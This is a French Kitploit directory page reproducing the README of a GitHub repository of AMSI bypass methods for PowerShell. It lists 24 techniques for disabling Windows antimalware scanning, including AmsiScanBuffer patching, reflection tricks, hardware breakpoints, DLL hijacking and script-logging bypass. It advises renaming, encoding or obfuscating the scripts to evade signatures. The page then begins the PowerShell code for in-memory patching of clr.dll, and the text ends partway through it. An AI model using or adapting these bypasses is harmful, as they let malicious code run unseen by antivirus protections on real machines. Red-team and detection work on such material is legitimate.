Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/s3cur3th1ssh1t/amsi-bypass-powershell
Outils DéfensifsExploitationÉvasion IDS/IPSRed TeamingDéveloppement de Charges Utiles
GitHubs3cur3th1ssh1t/amsi-bypass-powershell

Amsi-Bypass-Powershell

Ce dépôt contient quelques méthodes Amsi Bypass que j'ai trouvées sur différents articles de blog.

Voir le dépôt
2.2k33368il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Sponsorisé par

     

Amsi-Bypass-Powershell

Ce dépôt contient quelques méthodes de contournement / évitement de l'Antimalware Scan Interface (AMSI) que j'ai trouvées sur différents articles de blog.

La plupart des scripts sont détectés par AMSI lui-même. Vous devez donc trouver le déclencheur et modifier la signature au niveau de la partie concernée via le renommage de variables/fonctions, le remplacement de chaînes ou l'encodage et le décodage à l'exécution. Sinon, obscurcissez-les via ISESteroids et/ou Invoke-Obfuscation pour les faire fonctionner. Vous pouvez également consulter mon article de blog sur la modification manuelle de la signature pour obtenir à nouveau un contournement valide.

  1. Patching d'AmsiScanBuffer dans clr.dll
  2. ScriptBlock Smuggling
  3. Reflection ScanContent Change
  4. Utilisation de points d'arrêt matériels
  5. Utilisation du hooking CLR
  6. Patching de la DLL du fournisseur Microsoft MpOav.dll
  7. Interception du scan et patching de la fonction fournisseur
  8. Patching d'AMSI AmsiScanBuffer par rasta-mouse
  9. Patching d'AMSI AmsiOpenSession
  10. Ne pas utiliser net webclient - celle-ci ne fonctionne plus
  11. Patch Amsi ScanBuffer de -> https://www.contextis.com/de/blog/amsi-bypass
  12. Forcer une erreur
  13. Désactiver la journalisation des scripts
  14. Patch du buffer AMSI - En mémoire
  15. Identique à 6 mais avec des octets entiers au lieu du Base64
  16. Utilisation de la méthode de réflexion de Matt Graeber
  17. Utilisation de la méthode de réflexion de Matt Graeber avec contournement de l'auto-journalisation WMF5
  18. Utilisation de la seconde méthode de réflexion de Matt Graeber
  19. Utilisation de la méthode de détournement de DLL de Cornelis de Plaa
  20. Utiliser PowerShell version 2 - Pas de support AMSI
  21. Nishang tout-en-un
  22. Patch d'Adam Chester
  23. Version modifiée du 3. Patch Amsi ScanBuffer - pas de compilation CSC
  24. Patching de l'adresse d'AmsiScanBuffer dans System.Management.Automation.dll

Patching Clr

  • Expliqué ici Modification de la DLL CLR en mémoire```powershell

Define Constants

$PAGE_READONLY = 0x02 $PAGE_READWRITE = 0x04 $PAGE_EXECUTE_READWRITE = 0x40 $PAGE_EXECUTE_READ = 0x20 $PAGE_GUARD = 0x100 $MEM_COMMIT = 0x1000 $MAX_PATH = 260

Helper functions

function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT) }

function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true }

if ($PSVersionTable.PSVersion.Major -gt 2) { # Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
Télécharger l’outil